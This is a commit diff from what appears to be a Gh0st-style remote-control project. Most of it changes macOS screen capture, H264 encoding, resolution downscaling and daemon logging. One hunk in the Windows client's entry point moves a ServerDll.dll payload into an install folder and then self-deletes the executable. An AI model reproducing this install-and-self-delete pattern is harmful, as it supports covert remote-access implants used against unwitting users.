Fix: macOS use quality profile FPS/bitrate, add HW resolution downscaling
This commit is contained in:
@@ -316,6 +316,24 @@ int main(int argc, const char *argv[])
|
|||||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
||||||
!isService, g_ConnectAddress.runasAdmin, Logf);
|
!isService, g_ConnectAddress.runasAdmin, Logf);
|
||||||
if (r <= 0) {
|
if (r <= 0) {
|
||||||
|
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
||||||
|
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
||||||
|
if (!folder) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
char dstFile[MAX_PATH] = { 0 };
|
||||||
|
sprintf(dstFile, "%s\\ServerDll.dll", folder);
|
||||||
|
if (_access(dstFile, 0) == -1) {
|
||||||
|
char curFile[MAX_PATH] = { 0 };
|
||||||
|
GetModuleFileNameA(NULL, curFile, MAX_PATH);
|
||||||
|
GET_FILEPATH(curFile, "ServerDll.dll");
|
||||||
|
if (_access(curFile, 0) == -1) {
|
||||||
|
MessageBoxA(NULL, "ServerDll.dll is required to run this program.", "Missing ServerDll.dll", MB_ICONERROR);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
MoveFileA(curFile, dstFile);
|
||||||
|
}
|
||||||
|
}
|
||||||
BOOL s = self_del();
|
BOOL s = self_del();
|
||||||
if (!IsDebug) {
|
if (!IsDebug) {
|
||||||
Mprintf("结束运行.\n");
|
Mprintf("结束运行.\n");
|
||||||
|
|||||||
@@ -926,6 +926,7 @@ public:
|
|||||||
const QualityProfile& profile = GetQualityProfile(m_qualityLevel);
|
const QualityProfile& profile = GetQualityProfile(m_qualityLevel);
|
||||||
m_maxFPS.store(profile.maxFPS);
|
m_maxFPS.store(profile.maxFPS);
|
||||||
m_bAlgorithm.store(GetEffectiveAlgorithm(profile.algorithm));
|
m_bAlgorithm.store(GetEffectiveAlgorithm(profile.algorithm));
|
||||||
|
m_h264Bitrate = profile.bitRate;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -110,6 +110,8 @@ private:
|
|||||||
// Screen info
|
// Screen info
|
||||||
int m_width; // Physical pixel width (sent to server)
|
int m_width; // Physical pixel width (sent to server)
|
||||||
int m_height; // Physical pixel height (sent to server)
|
int m_height; // Physical pixel height (sent to server)
|
||||||
|
int m_encodeWidth; // Encode/transmit width (capped by profile maxWidth)
|
||||||
|
int m_encodeHeight; // Encode/transmit height
|
||||||
int m_logicalWidth; // Logical point width (for CGEvent)
|
int m_logicalWidth; // Logical point width (for CGEvent)
|
||||||
int m_logicalHeight; // Logical point height (for CGEvent)
|
int m_logicalHeight; // Logical point height (for CGEvent)
|
||||||
double m_scaleFactor; // Retina scale factor (physical / logical)
|
double m_scaleFactor; // Retina scale factor (physical / logical)
|
||||||
@@ -127,6 +129,11 @@ private:
|
|||||||
std::atomic<int> m_maxFPS;
|
std::atomic<int> m_maxFPS;
|
||||||
int8_t m_qualityLevel;
|
int8_t m_qualityLevel;
|
||||||
|
|
||||||
|
// Pending resolution change (set by applyQualityLevel, consumed by captureLoop)
|
||||||
|
std::atomic<bool> m_dimensionsChanged{false};
|
||||||
|
std::atomic<int> m_pendingEncodeWidth{0};
|
||||||
|
std::atomic<int> m_pendingEncodeHeight{0};
|
||||||
|
|
||||||
// H264 encoder
|
// H264 encoder
|
||||||
std::unique_ptr<H264Encoder> m_h264Encoder;
|
std::unique_ptr<H264Encoder> m_h264Encoder;
|
||||||
int m_h264Bitrate;
|
int m_h264Bitrate;
|
||||||
|
|||||||
@@ -23,14 +23,16 @@ ScreenHandler::ScreenHandler(IOCPClient* client)
|
|||||||
, m_running(false)
|
, m_running(false)
|
||||||
, m_width(0)
|
, m_width(0)
|
||||||
, m_height(0)
|
, m_height(0)
|
||||||
|
, m_encodeWidth(0)
|
||||||
|
, m_encodeHeight(0)
|
||||||
, m_logicalWidth(0)
|
, m_logicalWidth(0)
|
||||||
, m_logicalHeight(0)
|
, m_logicalHeight(0)
|
||||||
, m_scaleFactor(1.0)
|
, m_scaleFactor(1.0)
|
||||||
, m_displayID(CGMainDisplayID())
|
, m_displayID(CGMainDisplayID())
|
||||||
, m_algorithm(ALGORITHM_H264)
|
, m_algorithm(ALGORITHM_H264)
|
||||||
, m_maxFPS(15)
|
, m_maxFPS(GetQualityProfile(QUALITY_GOOD).maxFPS)
|
||||||
, m_qualityLevel(QUALITY_GOOD) // Use fixed QUALITY_GOOD (H264) for web compatibility
|
, m_qualityLevel(QUALITY_GOOD)
|
||||||
, m_h264Bitrate(3000000) // 3 Mbps (matches Windows QUALITY_GOOD)
|
, m_h264Bitrate(GetQualityProfile(QUALITY_GOOD).bitRate * 1000)
|
||||||
, m_displayAssertionID(0)
|
, m_displayAssertionID(0)
|
||||||
, m_colorSpace(nullptr)
|
, m_colorSpace(nullptr)
|
||||||
, m_displayStream(nullptr)
|
, m_displayStream(nullptr)
|
||||||
@@ -110,14 +112,27 @@ bool ScreenHandler::init()
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Apply maxWidth constraint from quality profile (CGDisplayStream scales in HW)
|
||||||
|
{
|
||||||
|
int maxW = GetQualityProfile(m_qualityLevel).maxWidth;
|
||||||
|
if (maxW > 0 && m_width > maxW) {
|
||||||
|
m_encodeWidth = maxW & ~1;
|
||||||
|
m_encodeHeight = (int)round((double)m_height * m_encodeWidth / m_width) & ~1;
|
||||||
|
} else {
|
||||||
|
m_encodeWidth = m_width;
|
||||||
|
m_encodeHeight = m_height;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
NSLog(@"Encode dimensions: %dx%d (physical: %dx%d)", m_encodeWidth, m_encodeHeight, m_width, m_height);
|
||||||
|
|
||||||
// Initialize BITMAPINFOHEADER
|
// Initialize BITMAPINFOHEADER
|
||||||
m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_MAC);
|
m_bmpHeader.biSize = sizeof(BITMAPINFOHEADER_MAC);
|
||||||
m_bmpHeader.biWidth = m_width;
|
m_bmpHeader.biWidth = m_encodeWidth;
|
||||||
m_bmpHeader.biHeight = m_height;
|
m_bmpHeader.biHeight = m_encodeHeight;
|
||||||
m_bmpHeader.biPlanes = 1;
|
m_bmpHeader.biPlanes = 1;
|
||||||
m_bmpHeader.biBitCount = 32;
|
m_bmpHeader.biBitCount = 32;
|
||||||
m_bmpHeader.biCompression = 0; // BI_RGB
|
m_bmpHeader.biCompression = 0; // BI_RGB
|
||||||
m_bmpHeader.biSizeImage = m_width * m_height * 4;
|
m_bmpHeader.biSizeImage = m_encodeWidth * m_encodeHeight * 4;
|
||||||
|
|
||||||
// Allocate frame buffers
|
// Allocate frame buffers
|
||||||
m_prevFrame.resize(m_bmpHeader.biSizeImage, 0);
|
m_prevFrame.resize(m_bmpHeader.biSizeImage, 0);
|
||||||
@@ -212,8 +227,8 @@ bool ScreenHandler::initDisplayStream()
|
|||||||
__block ScreenHandler* handler = this;
|
__block ScreenHandler* handler = this;
|
||||||
m_displayStream = CGDisplayStreamCreateWithDispatchQueue(
|
m_displayStream = CGDisplayStreamCreateWithDispatchQueue(
|
||||||
m_displayID,
|
m_displayID,
|
||||||
m_width,
|
m_encodeWidth,
|
||||||
m_height,
|
m_encodeHeight,
|
||||||
'BGRA', // Pixel format
|
'BGRA', // Pixel format
|
||||||
properties,
|
properties,
|
||||||
m_streamQueue,
|
m_streamQueue,
|
||||||
@@ -254,7 +269,7 @@ bool ScreenHandler::initDisplayStream()
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
NSLog(@"CGDisplayStream started: %dx%d @ %d FPS", m_width, m_height, fps);
|
NSLog(@"CGDisplayStream started: %dx%d @ %d FPS", m_encodeWidth, m_encodeHeight, fps);
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -301,19 +316,19 @@ bool ScreenHandler::captureFromIOSurface(IOSurfaceRef surface, std::vector<uint8
|
|||||||
size_t bytesPerRow = IOSurfaceGetBytesPerRow(surface);
|
size_t bytesPerRow = IOSurfaceGetBytesPerRow(surface);
|
||||||
void* baseAddr = IOSurfaceGetBaseAddress(surface);
|
void* baseAddr = IOSurfaceGetBaseAddress(surface);
|
||||||
|
|
||||||
if (!baseAddr || width != (size_t)m_width || height != (size_t)m_height) {
|
if (!baseAddr || width != (size_t)m_encodeWidth || height != (size_t)m_encodeHeight) {
|
||||||
IOSurfaceUnlock(surface, kIOSurfaceLockReadOnly, nullptr);
|
IOSurfaceUnlock(surface, kIOSurfaceLockReadOnly, nullptr);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Ensure temp buffer is allocated
|
// Ensure temp buffer is allocated
|
||||||
size_t requiredSize = m_width * 4 * m_height;
|
size_t requiredSize = m_encodeWidth * 4 * m_encodeHeight;
|
||||||
if (m_tempBuffer.size() != requiredSize) {
|
if (m_tempBuffer.size() != requiredSize) {
|
||||||
m_tempBuffer.resize(requiredSize);
|
m_tempBuffer.resize(requiredSize);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Copy from IOSurface to temp buffer (handle different bytesPerRow)
|
// Copy from IOSurface to temp buffer (handle different bytesPerRow)
|
||||||
size_t dstBytesPerRow = m_width * 4;
|
size_t dstBytesPerRow = m_encodeWidth * 4;
|
||||||
if (bytesPerRow == dstBytesPerRow) {
|
if (bytesPerRow == dstBytesPerRow) {
|
||||||
memcpy(m_tempBuffer.data(), baseAddr, requiredSize);
|
memcpy(m_tempBuffer.data(), baseAddr, requiredSize);
|
||||||
} else {
|
} else {
|
||||||
@@ -454,19 +469,16 @@ void ScreenHandler::OnReceive(uint8_t* data, ULONG size)
|
|||||||
MSG64_MAC msg;
|
MSG64_MAC msg;
|
||||||
memcpy(&msg, data + 1, sizeof(MSG64_MAC));
|
memcpy(&msg, data + 1, sizeof(MSG64_MAC));
|
||||||
|
|
||||||
// Convert physical pixel coordinates to logical point coordinates
|
// Convert encode-space coordinates to logical point coordinates.
|
||||||
// Server sends coordinates in physical pixels (matching our captured screen)
|
// Server sends coords in encode pixels (capped by maxWidth); CGEvent
|
||||||
// CGEvent expects logical points (for Retina displays, physical/scale)
|
// expects logical points. Ratio: logical = encode * (logicalW / encodeW).
|
||||||
if (m_scaleFactor > 1.0) {
|
if (m_encodeWidth > 0 && m_encodeWidth != m_logicalWidth) {
|
||||||
// Extract coordinates from lParam (MAKELPARAM format: low=x, high=y)
|
|
||||||
int x = (int)(msg.lParam & 0xFFFF);
|
int x = (int)(msg.lParam & 0xFFFF);
|
||||||
int y = (int)((msg.lParam >> 16) & 0xFFFF);
|
int y = (int)((msg.lParam >> 16) & 0xFFFF);
|
||||||
|
|
||||||
// Scale down to logical coordinates
|
x = (int)((double)x * m_logicalWidth / m_encodeWidth);
|
||||||
x = (int)(x / m_scaleFactor);
|
y = (int)((double)y * m_logicalHeight / m_encodeHeight);
|
||||||
y = (int)(y / m_scaleFactor);
|
|
||||||
|
|
||||||
// Update lParam with scaled coordinates
|
|
||||||
msg.lParam = (uint64_t)x | ((uint64_t)y << 16);
|
msg.lParam = (uint64_t)x | ((uint64_t)y << 16);
|
||||||
msg.pt_x = x;
|
msg.pt_x = x;
|
||||||
msg.pt_y = y;
|
msg.pt_y = y;
|
||||||
@@ -636,6 +648,27 @@ void ScreenHandler::applyQualityLevel(int8_t level, bool persist)
|
|||||||
m_h264Bitrate = profile.bitRate * 1000; // kbps -> bps
|
m_h264Bitrate = profile.bitRate * 1000; // kbps -> bps
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Check if this quality level requires different encode dimensions (same logic as init).
|
||||||
|
// Signal captureLoop to rebuild the stream; it applies the change on its next iteration.
|
||||||
|
{
|
||||||
|
int maxW = profile.maxWidth;
|
||||||
|
int newEncW, newEncH;
|
||||||
|
if (maxW > 0 && m_width > maxW) {
|
||||||
|
newEncW = maxW & ~1;
|
||||||
|
newEncH = (int)round((double)m_height * newEncW / m_width) & ~1;
|
||||||
|
} else {
|
||||||
|
newEncW = m_width;
|
||||||
|
newEncH = m_height;
|
||||||
|
}
|
||||||
|
if (newEncW != m_encodeWidth || newEncH != m_encodeHeight) {
|
||||||
|
m_pendingEncodeWidth.store(newEncW);
|
||||||
|
m_pendingEncodeHeight.store(newEncH);
|
||||||
|
m_dimensionsChanged.store(true);
|
||||||
|
NSLog(@"Resolution change queued: %dx%d -> %dx%d",
|
||||||
|
m_encodeWidth, m_encodeHeight, newEncW, newEncH);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
NSLog(@"Quality: Level=%d (%s), FPS=%d, Algo=%d, BitRate=%d kbps",
|
NSLog(@"Quality: Level=%d (%s), FPS=%d, Algo=%d, BitRate=%d kbps",
|
||||||
level,
|
level,
|
||||||
level == QUALITY_ULTRA ? "Ultra" :
|
level == QUALITY_ULTRA ? "Ultra" :
|
||||||
@@ -688,6 +721,12 @@ bool ScreenHandler::captureScreen(std::vector<uint8_t>& buffer)
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Legacy path captures at full physical resolution — cannot downscale for output buffer
|
||||||
|
if (m_encodeWidth != m_width || m_encodeHeight != m_height) {
|
||||||
|
CGImageRelease(image);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
size_t bytesPerRow = width * 4;
|
size_t bytesPerRow = width * 4;
|
||||||
size_t requiredSize = bytesPerRow * height;
|
size_t requiredSize = bytesPerRow * height;
|
||||||
if (m_tempBuffer.size() != requiredSize) {
|
if (m_tempBuffer.size() != requiredSize) {
|
||||||
@@ -801,12 +840,12 @@ void ScreenHandler::sendH264Frame(bool keyframe)
|
|||||||
m_h264Encoder = std::make_unique<H264Encoder>();
|
m_h264Encoder = std::make_unique<H264Encoder>();
|
||||||
int fps = m_maxFPS.load();
|
int fps = m_maxFPS.load();
|
||||||
if (fps <= 0) fps = 30;
|
if (fps <= 0) fps = 30;
|
||||||
if (!m_h264Encoder->open(m_width, m_height, fps, m_h264Bitrate)) {
|
if (!m_h264Encoder->open(m_encodeWidth, m_encodeHeight, fps, m_h264Bitrate)) {
|
||||||
NSLog(@"Failed to initialize H264 encoder: %s", m_h264Encoder->getLastError());
|
NSLog(@"Failed to initialize H264 encoder: %s", m_h264Encoder->getLastError());
|
||||||
m_h264Encoder.reset();
|
m_h264Encoder.reset();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_width, m_height, fps);
|
NSLog(@"H264 encoder initialized: %dx%d @ %d fps", m_encodeWidth, m_encodeHeight, fps);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Force keyframe if requested
|
// Force keyframe if requested
|
||||||
@@ -817,14 +856,14 @@ void ScreenHandler::sendH264Frame(bool keyframe)
|
|||||||
// Encode frame
|
// Encode frame
|
||||||
uint8_t* encodedData = nullptr;
|
uint8_t* encodedData = nullptr;
|
||||||
uint32_t encodedSize = 0;
|
uint32_t encodedSize = 0;
|
||||||
uint32_t stride = m_width * 4;
|
uint32_t stride = m_encodeWidth * 4;
|
||||||
|
|
||||||
int result = m_h264Encoder->encode(
|
int result = m_h264Encoder->encode(
|
||||||
m_currFrame.data(),
|
m_currFrame.data(),
|
||||||
32, // bpp
|
32, // bpp
|
||||||
stride,
|
stride,
|
||||||
m_width,
|
m_encodeWidth,
|
||||||
m_height,
|
m_encodeHeight,
|
||||||
&encodedData,
|
&encodedData,
|
||||||
&encodedSize,
|
&encodedSize,
|
||||||
false // Don't flip - keep bottom-up format like Windows client
|
false // Don't flip - keep bottom-up format like Windows client
|
||||||
@@ -956,6 +995,15 @@ uint64_t ScreenHandler::getTickMs()
|
|||||||
return (now * timebase.numer / timebase.denom) / 1000000;
|
return (now * timebase.numer / timebase.denom) / 1000000;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static uint64_t getTickUs()
|
||||||
|
{
|
||||||
|
static mach_timebase_info_data_t timebase = {0, 0};
|
||||||
|
if (timebase.denom == 0) {
|
||||||
|
mach_timebase_info(&timebase);
|
||||||
|
}
|
||||||
|
return (mach_absolute_time() * timebase.numer / timebase.denom) / 1000;
|
||||||
|
}
|
||||||
|
|
||||||
// Cached logical cursor position (shared between getCursorPosition and getCursorTypeIndex)
|
// Cached logical cursor position (shared between getCursorPosition and getCursorTypeIndex)
|
||||||
static CGPoint s_cachedLogicalPos = {0, 0};
|
static CGPoint s_cachedLogicalPos = {0, 0};
|
||||||
|
|
||||||
@@ -966,15 +1014,16 @@ void ScreenHandler::getCursorPosition(int32_t& x, int32_t& y)
|
|||||||
s_cachedLogicalPos = CGEventGetLocation(event);
|
s_cachedLogicalPos = CGEventGetLocation(event);
|
||||||
CFRelease(event);
|
CFRelease(event);
|
||||||
|
|
||||||
// Convert to physical pixel coordinates (for Retina displays)
|
// Convert logical → encode pixel coordinates
|
||||||
x = (int32_t)(s_cachedLogicalPos.x * m_scaleFactor);
|
// (logical * encodeWidth/logicalWidth = encode pixel, generalises scaleFactor for downscaled streams)
|
||||||
y = (int32_t)(s_cachedLogicalPos.y * m_scaleFactor);
|
x = (int32_t)(s_cachedLogicalPos.x * m_encodeWidth / m_logicalWidth);
|
||||||
|
y = (int32_t)(s_cachedLogicalPos.y * m_encodeHeight / m_logicalHeight);
|
||||||
|
|
||||||
// Clamp to screen bounds
|
// Clamp to encode bounds
|
||||||
if (x < 0) x = 0;
|
if (x < 0) x = 0;
|
||||||
if (y < 0) y = 0;
|
if (y < 0) y = 0;
|
||||||
if (x >= m_width) x = m_width - 1;
|
if (x >= m_encodeWidth) x = m_encodeWidth - 1;
|
||||||
if (y >= m_height) y = m_height - 1;
|
if (y >= m_encodeHeight) y = m_encodeHeight - 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t ScreenHandler::getCursorTypeIndex()
|
uint8_t ScreenHandler::getCursorTypeIndex()
|
||||||
@@ -1073,7 +1122,8 @@ uint8_t ScreenHandler::getCursorTypeIndex()
|
|||||||
|
|
||||||
void ScreenHandler::captureLoop()
|
void ScreenHandler::captureLoop()
|
||||||
{
|
{
|
||||||
NSLog(@"ScreenHandler CaptureLoop started (%dx%d)%s", m_width, m_height,
|
NSLog(@"ScreenHandler CaptureLoop started: encode=%dx%d physical=%dx%d%s",
|
||||||
|
m_encodeWidth, m_encodeHeight, m_width, m_height,
|
||||||
m_displayStream ? " [CGDisplayStream]" : " [Legacy]");
|
m_displayStream ? " [CGDisplayStream]" : " [Legacy]");
|
||||||
|
|
||||||
uint8_t currentAlgo = m_algorithm.load();
|
uint8_t currentAlgo = m_algorithm.load();
|
||||||
@@ -1085,18 +1135,70 @@ void ScreenHandler::captureLoop()
|
|||||||
usleep(50000); // 50ms, same as Windows client
|
usleep(50000); // 50ms, same as Windows client
|
||||||
|
|
||||||
while (m_running) {
|
while (m_running) {
|
||||||
uint64_t start = getTickMs();
|
// ── Dimension change (quality-level switch) ──────────────────────────────
|
||||||
|
// applyQualityLevel() signals this from the receive thread when maxWidth changes.
|
||||||
|
// We handle it here (captureLoop thread) so buffer/stream ops are thread-safe.
|
||||||
|
if (m_dimensionsChanged.exchange(false)) {
|
||||||
|
int newW = m_pendingEncodeWidth.load();
|
||||||
|
int newH = m_pendingEncodeHeight.load();
|
||||||
|
NSLog(@"Applying resolution change: %dx%d -> %dx%d",
|
||||||
|
m_encodeWidth, m_encodeHeight, newW, newH);
|
||||||
|
|
||||||
// Wait for new frame from display stream (push model)
|
if (m_h264Encoder) { m_h264Encoder->close(); m_h264Encoder.reset(); }
|
||||||
// This is key optimization: CPU sleeps when screen is static
|
|
||||||
if (m_displayStream) {
|
m_encodeWidth = newW;
|
||||||
std::unique_lock<std::mutex> lock(m_surfaceMutex);
|
m_encodeHeight = newH;
|
||||||
|
m_bmpHeader.biWidth = m_encodeWidth;
|
||||||
|
m_bmpHeader.biHeight = m_encodeHeight;
|
||||||
|
m_bmpHeader.biSizeImage = (uint32_t)(m_encodeWidth * m_encodeHeight * 4);
|
||||||
|
|
||||||
|
m_currFrame.assign(m_bmpHeader.biSizeImage, 0);
|
||||||
|
m_prevFrame.assign(m_bmpHeader.biSizeImage, 0);
|
||||||
|
m_diffBuffer.resize(1 + 1 + 8 + 1 + (size_t)m_bmpHeader.biSizeImage * 2);
|
||||||
|
m_tempBuffer.clear(); // reallocated on next capture
|
||||||
|
|
||||||
|
// Rebuild CGDisplayStream at new output size
|
||||||
|
cleanupDisplayStream();
|
||||||
|
if (!initDisplayStream()) {
|
||||||
|
NSLog(@"Warning: CGDisplayStream rebuild failed after resolution change");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait up to 500ms for first surface at new dimensions
|
||||||
|
{
|
||||||
|
std::unique_lock<std::mutex> lk(m_surfaceMutex);
|
||||||
|
m_hasNewFrame.store(false);
|
||||||
|
m_surfaceCond.wait_for(lk, std::chrono::milliseconds(500), [this] {
|
||||||
|
return m_hasNewFrame.load() || !m_running;
|
||||||
|
});
|
||||||
|
m_hasNewFrame.store(false);
|
||||||
|
}
|
||||||
|
if (!m_running) break;
|
||||||
|
|
||||||
|
// Tell server about new dimensions, then send a fresh first frame
|
||||||
|
sendBitmapInfo();
|
||||||
|
sendFirstScreen();
|
||||||
|
currentAlgo = m_algorithm.load(); // reset so algo-change path isn't spuriously triggered
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// ─────────────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
uint64_t frameStart = getTickUs();
|
||||||
int fps = m_maxFPS.load();
|
int fps = m_maxFPS.load();
|
||||||
if (fps <= 0) fps = 15;
|
if (fps <= 0) fps = 15;
|
||||||
int waitMs = 1000 / fps;
|
int targetUs = 1000000 / fps;
|
||||||
|
|
||||||
// Wait for new frame or timeout (maintains FPS even if no change)
|
// Read algorithm once per iteration to keep wait strategy and send path consistent.
|
||||||
m_surfaceCond.wait_for(lock, std::chrono::milliseconds(waitMs), [this] {
|
uint8_t algo = m_algorithm.load();
|
||||||
|
|
||||||
|
// For DIFF/RGB565: wait up to half the frame interval for a new surface so we
|
||||||
|
// send fresh data rather than a duplicate. For H264: skip the wait — the
|
||||||
|
// encoder handles inter-frame differences internally, and waiting here eats
|
||||||
|
// into the encode budget, capping fps below maxFPS.
|
||||||
|
if (m_displayStream && algo != ALGORITHM_H264) {
|
||||||
|
std::unique_lock<std::mutex> lock(m_surfaceMutex);
|
||||||
|
int halfTargetMs = (targetUs / 2) / 1000;
|
||||||
|
if (halfTargetMs < 1) halfTargetMs = 1;
|
||||||
|
m_surfaceCond.wait_for(lock, std::chrono::milliseconds(halfTargetMs), [this] {
|
||||||
return m_hasNewFrame.load() || !m_running;
|
return m_hasNewFrame.load() || !m_running;
|
||||||
});
|
});
|
||||||
m_hasNewFrame.store(false);
|
m_hasNewFrame.store(false);
|
||||||
@@ -1104,8 +1206,6 @@ void ScreenHandler::captureLoop()
|
|||||||
if (!m_running) break;
|
if (!m_running) break;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint8_t algo = m_algorithm.load();
|
|
||||||
|
|
||||||
// Check if algorithm changed
|
// Check if algorithm changed
|
||||||
if (algo != currentAlgo) {
|
if (algo != currentAlgo) {
|
||||||
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
|
NSLog(@"Algorithm changed: %d -> %d", currentAlgo, algo);
|
||||||
@@ -1113,9 +1213,11 @@ void ScreenHandler::captureLoop()
|
|||||||
|
|
||||||
if (algo == ALGORITHM_H264) {
|
if (algo == ALGORITHM_H264) {
|
||||||
sendH264Frame(true); // First H264 frame is keyframe
|
sendH264Frame(true); // First H264 frame is keyframe
|
||||||
} else if (m_h264Encoder) {
|
} else {
|
||||||
|
if (m_h264Encoder) {
|
||||||
m_h264Encoder->close();
|
m_h264Encoder->close();
|
||||||
m_h264Encoder.reset();
|
m_h264Encoder.reset();
|
||||||
|
}
|
||||||
sendFirstScreen();
|
sendFirstScreen();
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
@@ -1126,17 +1228,11 @@ void ScreenHandler::captureLoop()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Only use sleep-based FPS control for legacy mode
|
// Sleep whatever remains of the target frame interval (microsecond precision).
|
||||||
if (!m_displayStream) {
|
int64_t elapsed = (int64_t)(getTickUs() - frameStart);
|
||||||
int fps = m_maxFPS.load();
|
int64_t remaining = (int64_t)targetUs - elapsed;
|
||||||
if (fps <= 0) fps = 10;
|
if (remaining > 0) {
|
||||||
int sleepMs = 1000 / fps;
|
usleep((useconds_t)remaining);
|
||||||
|
|
||||||
int elapsed = (int)(getTickMs() - start);
|
|
||||||
int wait = sleepMs - elapsed;
|
|
||||||
if (wait > 0) {
|
|
||||||
usleep(wait * 1000);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -626,6 +626,11 @@ static void setupSignals()
|
|||||||
// 经典 Unix 双 fork 守护进程
|
// 经典 Unix 双 fork 守护进程
|
||||||
static void daemonize()
|
static void daemonize()
|
||||||
{
|
{
|
||||||
|
// macOS 10.12+ NSLog 默认只写 os_log(Unified Logging),非 TTY 时不写 stderr。
|
||||||
|
// CFLOG_FORCE_STDERR=1 恢复旧行为:无论是否 TTY,都同时写 fd 2。
|
||||||
|
// 必须在 fork 前设置,子进程会继承环境变量。
|
||||||
|
setenv("CFLOG_FORCE_STDERR", "1", 1);
|
||||||
|
|
||||||
pid_t pid = fork();
|
pid_t pid = fork();
|
||||||
if (pid < 0) exit(1);
|
if (pid < 0) exit(1);
|
||||||
if (pid > 0) exit(0); // 父进程退出
|
if (pid > 0) exit(0); // 父进程退出
|
||||||
@@ -636,13 +641,32 @@ static void daemonize()
|
|||||||
if (pid < 0) exit(1);
|
if (pid < 0) exit(1);
|
||||||
if (pid > 0) exit(0);
|
if (pid > 0) exit(0);
|
||||||
|
|
||||||
// 关闭标准文件描述符,重定向到 /dev/null
|
// 用 dup2 而非 close+open 序列,确保 fd 号与目标对应,不依赖"最低可用 fd"假设
|
||||||
close(STDIN_FILENO);
|
int nullFd = open("/dev/null", O_RDWR);
|
||||||
close(STDOUT_FILENO);
|
if (nullFd >= 0) {
|
||||||
close(STDERR_FILENO);
|
dup2(nullFd, STDIN_FILENO);
|
||||||
open("/dev/null", O_RDONLY); // fd 0 = stdin
|
dup2(nullFd, STDOUT_FILENO);
|
||||||
open("/dev/null", O_WRONLY); // fd 1 = stdout
|
if (nullFd > STDOUT_FILENO) close(nullFd);
|
||||||
open("/dev/null", O_WRONLY); // fd 2 = stderr
|
}
|
||||||
|
|
||||||
|
// stderr → /tmp/ghost.log;若失败退回 $TMPDIR/ghost.log
|
||||||
|
int logFd = open("/tmp/ghost.log", O_WRONLY | O_CREAT | O_APPEND,
|
||||||
|
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
|
||||||
|
if (logFd < 0) {
|
||||||
|
const char* tmp = getenv("TMPDIR");
|
||||||
|
if (!tmp) tmp = "/tmp";
|
||||||
|
char path[256];
|
||||||
|
snprintf(path, sizeof(path), "%s/ghost.log", tmp);
|
||||||
|
logFd = open(path, O_WRONLY | O_CREAT | O_APPEND,
|
||||||
|
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
|
||||||
|
}
|
||||||
|
if (logFd >= 0) {
|
||||||
|
dup2(logFd, STDERR_FILENO);
|
||||||
|
if (logFd != STDERR_FILENO) close(logFd);
|
||||||
|
// 直接写 fd 2 确认重定向生效(write 不经过 NSLog/os_log)
|
||||||
|
const char* banner = "=== ghost daemon started ===\n";
|
||||||
|
write(STDERR_FILENO, banner, strlen(banner));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ============== Main Entry Point ==============
|
// ============== Main Entry Point ==============
|
||||||
@@ -808,6 +832,19 @@ int main(int argc, const char* argv[])
|
|||||||
// 守护进程模式:在进入 autoreleasepool 之前 fork
|
// 守护进程模式:在进入 autoreleasepool 之前 fork
|
||||||
if (daemon_mode) {
|
if (daemon_mode) {
|
||||||
daemonize();
|
daemonize();
|
||||||
|
} else {
|
||||||
|
// App bundle 模式(login item / open 命令启动):同样重定向日志到 /tmp/ghost.log。
|
||||||
|
// macOS 10.12+ 的 NSLog 默认只写 Unified Logging,非 TTY 时不写 stderr;
|
||||||
|
// CFLOG_FORCE_STDERR=1 恢复旧行为,需在首次调用 NSLog 之前设置。
|
||||||
|
setenv("CFLOG_FORCE_STDERR", "1", 1);
|
||||||
|
int logFd = open("/tmp/ghost.log", O_WRONLY | O_CREAT | O_APPEND,
|
||||||
|
S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
|
||||||
|
if (logFd >= 0) {
|
||||||
|
dup2(logFd, STDERR_FILENO);
|
||||||
|
if (logFd != STDERR_FILENO) close(logFd);
|
||||||
|
const char* banner = "=== ghost app started ===\n";
|
||||||
|
write(STDERR_FILENO, banner, strlen(banner));
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@autoreleasepool {
|
@autoreleasepool {
|
||||||
|
|||||||
@@ -821,6 +821,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
|
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
|
||||||
ON_MESSAGE(WM_PASSWORDCHECK, OnPasswordCheck)
|
ON_MESSAGE(WM_PASSWORDCHECK, OnPasswordCheck)
